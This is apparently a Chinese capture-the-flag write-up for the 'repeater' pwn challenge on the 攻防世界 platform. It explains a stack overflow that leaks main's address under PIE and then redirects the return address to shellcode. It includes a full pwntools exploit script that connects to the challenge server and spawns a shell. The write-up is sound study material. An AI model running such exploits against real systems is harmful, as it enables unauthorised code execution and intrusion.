这题攻防世界标的难度是1,感觉应该不止,另外吐槽一下graph那道题也标的难度1,结果进去一看防护措施全开了,完全麻爪.......
首先checksec:
没有开栈保护、栈不可执行,可以考虑写shellcode再跳转。但是开了地址随机化,效果如下:
可以看到基地址会在运行时才确定,只能看到偏移地址,另外,上图中main函数首条指令的地址偏移为0xa33
ida反汇编:
首次输入分配的空间为0x40h,可以用来存放shellcode,shellcode首地址就是inpName的地址,即0x202040
treatBeforeFor函数没有实际影响,这里不做分析,有兴趣可以自己看一看
溢出点在for内的read函数,即0x40>32
此外,当v5=3281697时会打印泄露main函数的基地址,但是恒假,需要溢出覆盖
因此,本题的思路是:
1.首次输入写入shellcode
2.溢出覆盖v5的值,进入分支,获取main基址,计算程序的基址
3.下个循环再次溢出覆盖v5的值,并覆盖main函数的返回地址,令main可以正常退出并跳转到shellcode首条指令处
代码如下:
from pwn import *
context(os='linux', arch='amd64')
p=remote("61.147.171.105",49448)
#p=process("./repeater")
shellcode=asm(shellcraft.sh())
print(shellcode)
#first Command offset:0x202040
p.sendlineafter("your name :",shellcode)
p.sendlineafter("input",b"A"*0x20+p64(3281697))
p.readuntil(b"But there is gift for you :\n")
mainBaseAddr=int(p.recvline(),16)
print(mainBaseAddr)
BaseAddr=mainBaseAddr-0xA33
shellcodeAddr=BaseAddr+0x202040
payload= b'A'*0x20 + p64(0) + b"A"*0x8+ p64(0)+p64(shellcodeAddr)#make v5=0 and returncode=addr
p.sendline(payload)
p.interactive()
有两个要注意的地方:
1.我在作溢出的时候,狠狠的踩了坑,无论如何都会segement fault,最后发现需要增加context(os='linux', arch='amd64')来设置环境,兼容汇编
2.在最后的payload中,我们同时做了复制和覆盖ret地址,所以计算要准确,为v5覆盖p64(0)后,下图中使用了0x10下方的8个字节,因此后续应当+b"A"*0x8而非0x10
最后运行成功